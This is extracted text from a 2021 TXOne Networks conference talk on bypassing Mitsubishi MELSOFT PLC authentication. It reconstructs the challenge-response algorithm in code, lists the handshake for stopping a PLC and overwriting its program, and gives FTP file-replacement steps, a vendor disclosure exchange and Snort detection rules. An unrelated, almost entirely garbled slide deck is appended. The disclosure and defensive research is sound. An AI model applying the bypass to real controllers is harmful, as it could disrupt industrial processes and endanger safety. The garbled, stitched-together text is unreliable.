0𝑥51, 0𝑥00, 0𝑥00} 𝑡𝑚𝑝_𝑏𝑢𝑓8[0] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[7] 𝑡𝑚𝑝_𝑏𝑢𝑓8[1] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[3] 𝑡𝑚𝑝_𝑏𝑢𝑓8[2] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[0] 𝑡𝑚𝑝_𝑏𝑢𝑓8[3] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[6] 𝑡𝑚𝑝_𝑏𝑢𝑓8[4] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[5] 𝑡𝑚𝑝_𝑏𝑢𝑓8[5] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[2] 𝑡𝑚𝑝_𝑏𝑢𝑓8[6] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[4] 𝑡𝑚𝑝_𝑏𝑢𝑓8[7] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[1] 𝑡𝑚𝑝_𝑏𝑢𝑓8[8] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[4] 𝑡𝑚𝑝_𝑏𝑢𝑓8[9] = 𝑥𝑜𝑟𝑒𝑑_𝑏𝑢𝑓[8] © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) • After Get random 10 bytes Challenge Code 3. Convert tmp_buf to short variable 4. Verify PLC 10 bytes Challenge Code, Sum the tmp_buf buf16_sum = tmp_buf16[0] + tmp_buf16[1] + tmp_buf16[2] + tmp_buf16[3]; if (tmp_buf16[4] != buf16_sum) { return -1; } tmp_buf16[0] = *(uint16_t *)(&tmp_buf8[0]); tmp_buf16[1] = *(uint16_t *)(&tmp_buf8[2]); tmp_buf16[2] = *(uint16_t *)(&tmp_buf8[4]); tmp_buf16[3] = *(uint16_t *)(&tmp_buf8[6]); tmp_buf16[4] = *(uint16_t *)(&tmp_buf8[8]); © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) • After Get random 10 bytes Challenge Code 5. Retrieve 4 short varible to interger variable Go to function sub_10062C3E tmp_buf32[0] = tmp_buf16[3] * tmp_buf16[1]; tmp_buf32[1] = tmp_buf16[3] * tmp_buf16[0]; tmp_buf32[2] = tmp_buf16[3] * tmp_buf16[2]; tmp_buf32[3] = tmp_buf16[3] * tmp_buf16[3]; © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 6. Use a pre-defined 32 bytes code (generated by sub_10005cdb) to generate 32 bytes hex 7. Generate 64 bytes Output buffer uint8_t array_5cdb[32] = { 0xb0, 0x7e, 0x32, 0x90, 0xb7, 0xc9, 0xa6, 0xa7, 0xe4, 0x92, 0x8b, 0x9d, 0x7d, 0x62, 0xbb, 0x6b, 0x62, 0xdc, 0x64, 0x5d, 0xd7, 0x51, 0x68, 0xd2, 0x66, 0xf7, 0xd0, 0x2b, 0xb1, 0x1a, 0xa2, 0x9f }; memcpy(&out_buf[0], array_5cdb, 32); memcpy(&out_buf[32], &tmp_buf32[0], 16); memcpy(&out_buf[48], &tmp_buf8[0], 10); out_buf[58] = 0x00; out_buf[59] = 0x00; out_buf[60] = 0x20; out_buf[61] = 0xf2; out_buf[62] = 0x08; out_buf[63] = 0x19; © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 8. Generate 64 bytes array which value is 0x36 9. Perform Exclusive-OR first 32 bytes and _5cdb array Go to function sub_10062860 memset(out_buf, 0x36, 64); for (idx = 0; idx < 32; idx++) out_buf[idx] ^= array_5cdb[idx]; © 2021 TXOne Networks Inc. 10. Generate a 104 byte array, and copy unk_10127E68 to the first 32 bytes 11. Copy 64 bytes from array_104bytes, and fill 0 in the last 8 bytes Reverse Engineering on GxWork2/3 (Cont.) uint8_t array_62860[32] = { 0x67, 0xe6, 0x09, 0x6a, 0x85, 0xae, 0x67, 0xbb, 0x72, 0xf3, 0x6e, 0x3c, 0x3a, 0xf5, 0x4f, 0xa5, 0x7f, 0x52, 0x0e, 0x51, 0x8c, 0x68, 0x05, 0x9b, 0xab, 0xd9, 0x83, 0x1f, 0x19, 0xcd, 0xe0, 0x5b }; array_62860(32bytes) array_104bytes(64 bytes) 0*8 bytes 104 Bytes Array © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 12. Handle last 8 bytes of 104 bytes array. Set last 8 bytes as 2 integer variable, and add the value 0x40 © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 13. Run the calculation, update the first 32 bytes of 104 bytes array © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 14. Function sub_10062B7B Update 104 bytes array based on the computed challenge code. 15. Function sub_10062BC6, Update the value in offset 0x30 is 0x80 of 104 bytes array, offset 0x60 add 1 © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 16. Update 104 bytes array buffer, from offset 0x31, set 27 bytes 0, offset 0x60 add 0x27 17. Update 104 bytes array buffer • From offset 0x58, set 4 bytes 0. • Offest 0x64 is integer variable, left shift 3 bit, and SWAP It to offest 0x5c. • Offest 0x50 add 0x8 © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 18. Update 104 bytes array to 136 bytes • First 32 bytes as 8 integer variable, add 32 bytes (8 integer variable) on offset 0x0104, and SWAP it. • 104+32=136 bytes © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) 19. From offset 0x136, set 0x5c bytes value as 0x40. Byte Array is 200 byte now 20. Exclusive-OR the last 32 bytes in the 200 byte array with Output(first 32 bytes of 64 bytes), and store to 200 byte array Reply the same function behavior based on 200 bytes. © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) • After getting the final 200 bytes, the first 32 byte is the MS authentication function needs. © 2021 TXOne Networks Inc. Reverse Engineering Network Traffic Take Over it !! Analysis © 2021 TXOne Networks Inc. Making a Protocol Analysis Tool • We built a Wireshark Lua Plugin for the MELSOFT Protocol © 2021 TXOne Networks Inc. Fake EWS PLC 𝑀!. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑃𝑖𝑛𝑔 𝑀𝑠𝑔 𝑀". 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑃𝑜𝑛𝑔 𝑀𝑠𝑔 𝑀#. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀$. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀%. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀&. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Send 0x5a0000ff to get Challenge Code 𝑀'. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀(. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Overwrite PLC Program - 0x0114 to pass the Authentication Overwrite PLC Program - 0x1002 Remote STOP Overwrite PLC Program - 0x1827 MC Open File PLC returns the 10 bytes Challenge Code Handshake Overview – Overwriting the PLC Program © 2021 TXOne Networks Inc. Handshake Overview – Overwriting the PLC Program 𝑀). 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!*. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀!!. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!". 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀!#. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!$. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Overwrite PLC Program – 0x1811 MC Search Directory/File 𝑀!%. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!&. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Overwrite PLC Program – 0x1810 MC Read Directory/File Overwrite PLC Program – 0x1829 MC Write to File Overwrite PLC Program – 0x182C Update File Size Fake EWS PLC © 2021 TXOne Networks Inc. Handshake Overview – Overwriting the PLC Program 𝑀!'. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!(. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Overwrite PLC Program – 0x1826 MC Modify File Creation Date and Time 𝑀!). 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀"*. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Overwrite PLC Program – 0x1837 Close File 𝑀"!. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀"". 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀"#. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀"$. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Overwrite PLC Program – 0x1836 Write File Modifications to Storage Overwrite PLC Program – 0x1001 MC Remote Run Fake EWS PLC © 2021 TXOne Networks Inc. Fake EWS PLC 𝑀!. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑃𝑖𝑛𝑔 𝑀𝑠𝑔 𝑀". 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑃𝑜𝑛𝑔 𝑀𝑠𝑔 𝑀#. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀$. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀%. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀&. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀'. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀(. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Handshake Overview – Overwriting the PLC Program Send 0x5a0000ff to get Challenge Code PLC returns the 10 bytes Challenge Code Overwrite PLC Program 0x0114 to pass the Authentication Response with Error Code 0x0000 Overwrite PLC Program 0x1002 Remote STOP Response with Error Code 0x0000 Overwrite PLC Program 0x1827 MC Open File Response with Error Code 0x0000 © 2021 TXOne Networks Inc. Handshake Overview – Overwriting the PLC Program 𝑀). 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!*. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀!!. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!". 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀!#. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!$. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀!%. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!&. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Fake EWS PLC Overwrite PLC Program 0x1811 MC Search Directory/File Response with Error Code 0x0000 Overwrite PLC Program 0x1810 MC Read Directory/File Response with Error Code 0x0000 Overwrite PLC Program 0x1829 MC Write to File -I Response with Error Code 0x0000 Overwrite PLC Program 0x1829 MC Write to File -II Response with Error Code 0x0000 Overwrite PLC Program 0x182C Update File Size Response with Error Code 0x0000 © 2021 TXOne Networks Inc. Handshake Overview – Overwriting the PLC Program 𝑀!'. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀!(. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀!). 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀"*. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀"!. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀"". 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 𝑀"#. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 𝑀"$. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 Fake EWS PLC Overwrite PLC Program 0x1826 MC Modify File Creation Date and Time Response with Error Code 0x0000 Overwrite PLC Program 0x1837 Close File Response with Error Code 0x0000 Overwrite PLC Program 0x1836 Write File Modifications to Storage Response with Error Code 0x0000 Overwrite PLC Program 0x1001 MC Remote Run Response with Error Code 0x0000 © 2021 TXOne Networks Inc. Demo © 2021 TXOne Networks Inc. Before Overwriting the PLC program © 2021 TXOne Networks Inc. After Overwriting the PLC program © 2021 TXOne Networks Inc. The Potential Impact of Attacks Using the MELSOFT Protocol Series iQ-R Series Q Series iQ-F L Series F Series Type Module Based Module Based Module Based Module Based(without Ethernet Module) Module Based Module CPU Module Ethernet Module CPU Module Ethernet Module CPU Module Ethernet Module CPU Module CPU Module Ethernet Module Impact by Melsoft *Yes (EWS-PLC) *Yes (EWS-PLC) Yes (EWS-PLC) Yes (EWS-PLC) *Yes (EWS-PLC) *Yes (EWS-PLC) Yes (EWS-PLC) Yes (EWS- PLC) Yes (EWS-PLC) Impact by Melsec (SLMP) Yes (HMI-PLC) Yes (HMI-PLC) **Yes (HMI-PLC) Yes (EWS-PLC) Yes (HMI-PLC) Yes (HMI-PLC) N/A N/A N/A * Without MELSOFT Authentication, and we can take over the device directly ** Can’t use File-related Command © 2021 TXOne Networks Inc. The Potential Impact of Attacks Using the MELSOFT Protocol(Cont.) • Remote Run/Stop to Interrupt the Process • Overwrite PLC Program to Change the Completed Control Process • Read/Write the Data to Change the Small Part Control Process • Malicious Files in the PLC • … © 2021 TXOne Networks Inc. MITRE ATT&CK® Matrix for Industrial Control Systems Initial Access Execution Persistence Privilege Escalation Evasion Discovery Lateral Movement Collection Command and Control Inhibit Response Function Impair Process Control Impact Data Historian Compromise Change Operating Mode Modify Program Exploitation for Privilege Escalation Change Operating Mode Network Connection Enumeration Default Credentials Automated Collection Commonly Used Port Activate Firmware Update Mode Brute Force I/O Damage to Property Drive-by Compromise Command-Line Interface Module Firmware Hooking Exploitation for Evasion Network Sniffing Exploitation of Remote Services Data from Information Repositories Connection Proxy Alarm Suppression Modify Parameter Denial of Control Engineering Workstation Compromise Execution through API Project File Infection Indicator Removal on Host Remote System Discovery Lateral Tool Transfer Detect Operating Mode Standard Application Layer Protocol Block Command Message Module Firmware Denial of View Exploit Public- Facing Application Graphical User Interface System Firmware Masquerading Remote System Information Discovery Program Download I/O Image Block Reporting Message Spoof Reporting Message Loss of Availability Exploitation of Remote Services Hooking Valid Accounts Rootkit Wireless Sniffing Remote Services Man in the Middle Block Serial COM Unauthorized Command Message Loss of Control External Remote Services Modify Controller Tasking Spoof Reporting Message Valid Accounts Monitor Process State Data Destruction Loss of Productivity and Revenue Internet Accessible Device Native API Point & Tag Identification Denial of Service Loss of Protection Remote Services Scripting Program Upload Device Restart/Shutdown Loss of Safety Replication Through Removable Media User Execution Screen Capture Manipulate I/O Image Loss of View Rogue Master Wireless Sniffing Modify Alarm Settings Manipulation of Control Spearphishing Attachment Rootkit Manipulation of View Supply Chain Compromise Service Stop Theft of Operational Information Wireless Compromise System Firmware © 2021 TXOne Networks Inc. A Story of Reporting the Vulnerability © 2021 TXOne Networks Inc. Timeline of Reporting the Vulnerability [May 30, 2020] 1st Vendor Reply [June 1, 2020] Our 1st Reply [June 1, 2020] Our 2nd Reply [June 13, 2020] 2nd Vendor Reply [June 19, 2020] Our 3rd Reply [July 8, 2020] 3rd Vendor Reply [July 15, 2020] 4th Vendor Reply May June July © 2021 TXOne Networks Inc. [May 30, 2020] 1st Vendor Reply Vendor … Thank you for your report. We were happy to disclose it. We do have a reply from the vendor and the CERT: "Thank you for pointing out the issue. We have confirmed the content. The authentication process you pointed out is not to protect the customer's security, but to prevent connection to devices of other companies. Therefore, we concluded that the issue you pointed out was not a vulnerability (not applicable)." ZDI will close the report. Please let us know if you believe this is an unfair reply or if you think anything was missed or if you have questions. …. © 2021 TXOne Networks Inc. [June 1, 2020] Our 1st Reply TXOne … First of all, we think this is an unfair reply and please allow me to describe why we think so. The reason we show as follows: 1. In this issue, we perform reverse engineering on GxWork2, and extract the security design problem of simple authentication. If we directly connect to PLC without this authentication process, we can not control PLC and will receive error code such as “0x4006 initial communication failed”. By passing the authentication, we can ask the PLC to do many things, such as, replacing PLC program, read/write memory... 2. Although it is to prevent connection to devices of other companies, the bypass of this authentication process still will lead to an attacker can fake EWS and send any unauthenticated command to PLC. We can not say this is not a vulnerability because the original design idea was used to prevent connection to devices of other companies. … © 2021 TXOne Networks Inc. [June 1, 2020] Our 2nd Reply TXOne … In addition to the reply of the previous mail, there are some questions. What is the purpose of preventing connection to devices of other companies? Is it meaning that the EWS (i.e. Gx Works 2) might connect to a PLC which is not a Mitsubishi series PLC? If it is true, then why Gx Works 2 needs to send the command 0x0114 with the 32 bytes payload which based on the 0xda0000ff 10 bytes payload to the PLC? It looks like a mutual authentication, right? Could you kindly provide some comment and description for this? As our observation, the PLC will not respond legal content if we do not pass the authentication when we are trying to use the command 0x0401 (batch read device) to read data. Based on this, we think it is used to protect PLCs which not be manipulated by non- EWS. If our thinking is wrong, and why Mitsubishi PLCs do not respond correctly when we are trying to read data with command 0x0401? Could you kindly provide some comment and description for this too? … © 2021 TXOne Networks Inc. [June 13, 2020] 2nd Vendor Reply Vendor Thank you for pointing out the issue. The followings are answers in response to your questions. Q1. What is the purpose of preventing connection to devices of other companies? Is it meaning that the EWS (i.e. Gx Works 2) might connect to a PLC which is not a Mitsubishi series PLC? If it is true, then why Gx Works 2 needs to send the command 0x0114 with the 32 bytes payload which based on the 0xda0000ff 10 bytes payload to the PLC? It looks like a mutual authentication, right? Could you kindly provide some comment and description for this? A1. The purpose is not to protect the data in Mitsubishi PLCs. According to the past business strategy (enclosing strategy), Mitsubishi PLCs and Mitsubishi product groups (GX Works2 and HMI products, etc.) were sold in complete sets, and we made it not easy to connect to other companies' equipment. Assume that another company's HMI is connected to Mitsubishi PLC, but not for that GX Works2 is connected to another company's PLC. In addition, this authentication is used for combining our products, thus transmitting data between each other. Furthermore, this authentication process has been carried in order to ensure interconnectivity with previous versions. Now, without bypassing this authentication process, data in Mitsubishi PLC can also be operated by other companies' equipment by using the public protocol (SLMP). However, assuming that malicious third-parties may use the mechanism of public protocol (SLMP) to make attacks, we have given guidelines in the manuals in order to protect data in PLC such as installing a firewall or using various security functions of Mitsubishi PLC. ... © 2021 TXOne Networks Inc. [June 13, 2020] 2nd Vendor Reply (Cont.) Vendor … Q2 As our observation, the PLC will not respond legal content if we do not pass the authentication when we are trying to use the command 0x0401 (batch read device) to read data. Based on this, we think it is used to protect PLCs which not be manipulated by non-EWS. If our thinking is wrong, and why Mitsubishi PLCs do not respond correctly when we are trying to read data with command 0x0401? Could you kindly provide some comment and description for this too? A2. As mentioned in answer 1, this authentication is used for combining Mitsubishi products, PLC judges that the connection does not come from Mitsubishi products and adopts a nonresponsive mechanism. © 2021 TXOne Networks Inc. [June 19, 2020] Our 3rd Reply TXOne The authentication is used for combining Mitsubishi products. And data in Mitsubishi PLCs can be operated by using the public protocol, SLMP, too. We think we can understand the thinking of the Mitsubishi team. The data in Mitsubishi PLCs can be operated by using the public protocol, SLMP. For example, command 0x0401 for reading device memory, command 0x1401 for writing device memory... And, by using SLMP command 0x1001/0x1002/..., we can ask Mitsubishi PLCs to run/stop/..., respectively. However, by using SLMP command 0x0101, we are not allowed to read the CPU model name on Mitsubishi Q PLCs via the CPU built-in Ethernet port. It is available only on the Ethernet module. In contrast, by forging EWS, we are allowed not only to use command 0x0101 to read the CPU model name, but also to use command 0x0b05 to read CPU Serial Number..., etc. It means that the authentication is not only used for combing Mitsubishi products because it provides more functionalities. Of course, it could be a strategy to show customers that, hey, buying a complete set of Mitsubishi products would be better than buying Mitsubishi PLCs only because our products know each other better. © 2021 TXOne Networks Inc. [June 19, 2020] Our 3rd Reply (Cont.) TXOne … We know that we are able to manipulate the files on Mitsubishi Q PLCs via FTP to do the similar things. For example, we connect to a Mitsubishi Q PLC via FTP, using quote stop to stop it first, using delete/mdelete to remove the MAIN.QPG, , using put to upload a new MAIN.QPG, using quote pm-write to write data to the program memory, and then quit. After rebooting, the motor behavior will be changed. In addition, we know that SLMP also supports file operation commands, like open/close/write/read/... Unfortunately, these commands are only available on the Ethernet module, and we do not have it. So we are unable to verify whether we can manipulate the MAIN.QPG by using SLMP like what we do by forging EWS. Could you please kindly have some comments on it? If we are not allowed to do the same thing via SLMP (FTP is disabled by default), we think that bypass authentication will allow more possibilities and more risks. If we can do the similar things via SLMP, then passing the authentication may not be a threat for Mitsubishi. However, since we have spent time conducting reverse engineering on GX Works2, we are going to submit our findings to the cyber security conference. We believe it would be harmless. © 2021 TXOne Networks Inc. [July 8, 2020] 3rd Vendor Reply Vendor … We have received this reply from the vendor: "In Q series, due to the product strategy, there are some functional differences between the CPU built-in Ethernet port and the Ethernet module. Therefore, Q series CPU module supports command of device read/write, but does not support file operation command. However, considering usability, we eliminated the functional differences of each module in the next-generation model MELSEC iQ-R series, so the CPU module also supports file operation command. In iQ-R series, it is possible to use SLMP to operate MAIN.QPG file just as possible to operate it by forging EWS. Therefore, we don't think it is a problem to bypass authentication." Since the case is not being considered as an issue by the vendor and will have no fix, we will proceed to close the case on our end. Thank you for your contributions to our program and we look forward to your future submissions. … © 2021 TXOne Networks Inc. [July 15, 2020] 4th Vendor Reply Vendor … We have received the following request from the vendor: "We would appreciate it if you could add a comment to the information submitted to the conference that this issue is not a vulnerability in Mitsubishi Electric products. " … © 2021 TXOne Networks Inc. Last Thing! TXOne This issue is not a vulnerability in Mitsubishi Electric products from vendor’s perspective © 2021 TXOne Networks Inc. Mitigation and Closing Remarks © 2021 TXOne Networks Inc. Detection, Protection and Mitigation • Short-term effective options • Detecting and protecting ICS/SCADA protocols that can’t be patched or which the vendor will not patch • We will provide a Lua plugin for analyzing the MELSOFT protocol • We will provide Snort rules for detecting and protecting MELSOFT traffic © 2021 TXOne Networks Inc. Snort Detection Demo • alert tcp any any -> any 5007 (msg: "Melsoft 0x0114 MS Authentication"; flow:to_server,established; content:"|57 00|"; offset:0; depth:2; content:"|01 14|"; distance:31; within:2; classtype:others; sid:202107011; rev:1;) • alert tcp any any -> any 5007 (msg: "Melsoft 0x1002 MC Remote STOP"; flow:to_server,established; content:"|57 00|"; offset:0; depth:2; content:"|10 02|"; distance:31; within:2; classtype:others; sid:202107012; rev:1;) • alert tcp any any -> any 5007 (msg: "Melsoft 0x1001 MC Remote Run"; flow:to_server,established; content:"|57 00|"; offset:0; depth:2; content:"|10 01|"; distance:31; within:2; classtype:others; sid:202107013; rev:1;) • alert tcp any any -> any 5007 (msg: "Melsoft 0x1829 MC Write to File"; flow:to_server,established; content:"|57 00|"; offset:0; depth:2; content:"|18 29|"; distance:31; within:2; classtype:others; sid:202107014; rev:1; ) © 2021 TXOne Networks Inc. Detection, Protection and Mitigation • Mid-to-long-term complete planning 1. Security awareness for ICS vendors 2. Defense-in-Depth from the outside 3. Security design in protocols and other components from the inside 4. Secure ICS/SCADA ecosystems in the future Keep the Operation Securely Running © 2021 TXOne Networks Inc. Thanks for Listening Mars Cheng (@marscheng_) Selmon Yang
pdf
!"#$%&%' ()*+'",'$-+'' ./$"0%$+1'(+1'2+%0' !"#$"%&'()*+%' ,"-./0"+%$"12%-' !"#$"%#&' !  !"#$%&'()*+ !  ,'&-")"+ !  ./0-&/1(-2*+!'-0+ !  3'0-42567'/-"-/')+ !  !28"9/'&+:'*/;#"-/')+ !  <02&+=)-2&>"#2+ ?8/0+@'&$+@"0+A"*2+6'00/172+-8&'(%8+.BC3BD0+ ,E12&+F"0-+?&"#$+6&'%&"AG+ ()*+'+)%,'+*-.'%,'/0+' !  H'-+"+,'&-")"+-(-'&/"7++ !  I'A2+>2"-(&20+"&2+0$/662*+2)-/&27E+ !  B)+2567'&"-/')+'>+-82+0'>-@"&2+"%2)-+ 6&'%&"AA/)%+6"&"*/%A+ "  ?8/0+/0+0"*+ "  !2#"(02+/-+/0+>()+ "  #+ 102*34,'50*-,' !  .2A')0-"-2+@8"-+,'&-")"+#")+*'+ !  ,'92&+A"J'&+>()#-/')"7/-E+ !  K)#'(&"%2+E'(+-'+-&E+/-G+ 6/+$0278+%0/9':*;)*#-'<72=#' !  F'&A2&7EL+=C,+M":2C+ !  .2927'62&L+J=C,//+=C,+,7/2)-+ !  .2927'62&L+I7226+I#&/6-/)%+M")%("%2+ !  .2927'62&L+B&A/-"%2+ !  F'()*2&L+I-&"-2%/#+,E12&+MM,+ 6/+$0278+%0/9'>6:?%%' 6/+$0278+%0/9'@-##;' !  32&7+/)06/&2*+0E)-"5+ !  !(/7-+')+N"9"+ !  K5-2)0/172+ !  IA"77O+PQRSTU!V+ !  KA12**2*+/)+J=C,//+ 6/+$0278+%0/9'A$B%+*=#' A$B%+*=#'?0--*C0$*+%0/' ?0$+*/*9'()*+'%,'%+D' !  B+I#&/6-/)%+M")%("%2+-'W+ "  B(-'A"-2+:2-"067'/-+F&"A2@'&$+ "  K5-2)*+B&A/-"%2+ ?0$+*/*9'()*+'%,'%+D' 1)#'@0E+&*$#'A=#/+'F#/,#G' !  ,'&-")"+/0+"+*'A"/)4062#/;#+7")%("%2+-'+*2927'6+ XB%2)-0Y+-8"-+#')*(#-+#E12&+'62&"-/')0Z+ !  ?2"A+02&92&+6&'9/*20+*/0-&/1(-2*+#'AA()/#"-/')++ !  :2-"067'/-+'[2&0+#"6"1/7/-/20+")*+*"-"+A'*27+ !  ,'&-")"+'[2&0+A2")0+-'+#&2"-2+7')%+&())/)%+"%2)-0+ -8"-+62&#2/92+#')-25-+")*+&206')*+-'+/-G++ !  ,'&-")"+"70'+6&'9/*20+-''70+-'+*21(%L+()*2&0-")*L+ ")*+"00(&2+6'0/-/92+#')-&'7+'>+"%2)-0+ ?0$+*/*9'()*+'%+'20#,' ! :2-"067'/-+,')-&'7+ ! ."-"+:")"%2A2)-+ ! 3'0-4K567'/-"-/')+ ! ?2"A+I2&92&+3"&-/#/6"-/')+ ! :'*/>E+B&A/-"%2+!28"9/'&+ ! K5-2)*+B&A/-"%2+<02&+=)-2&>"#2+ ?0$+*/*9'A-+#$/*+%"#,' !  K5-2)*+:2-"067'/-+F&"A2@'&$++ "  :'*(720+ "  37(%/)0+ "  C,+;720+ !  :2-"067'/-+C3,+I2&92&+ !  A0>#7/+ 3)*$#)4/$+1'5"$*' H$0C-#BIII' !  N'77EW+=-D*+12+)/#2+/>+-82&2+@"0+"+@"E+-'+$)'@+ @82)+)2@+8'0-0\02&9/#20+6'6+(6+ !  ,8&/0W+=DA+#')0-")-7E+&())/)%+0#")0L+=D77+6(-+-82+ *"-"+@82&2+292&+E'(+7/$2Z+ !  :2W+=+-8/)$+=+#")+8276Z+ !  ,8&/0W+=+*')D-+@")-+-'+/A6'&-+AE+0#")0+292&E+ A/)(-2G+,")+@2+"(-'A"-2+-8/0]+ J*8.=$07/29'K"#/+'F%,+#/#$,' + +')+292)-^)"A2+_+ + +`+*'+-8/0+0-([+ + +`+ab+c+;&0-+"&%(A2)-+ + + +`+aR+c+02#')*+"&%(A2)-+ + + +`+a)+c+)-8+"&%(A2)-+ +d+ L*+*'K"#/+,'' L*+*'K"#/+,' !  ,&2*2)-/"70+ !  e'0-0+ !  M''-0+ !  C'(-20+ !  I2&9/#20+ !  I200/')0+ e'0-\I2&9/#2+H'-/>E+!'-+ 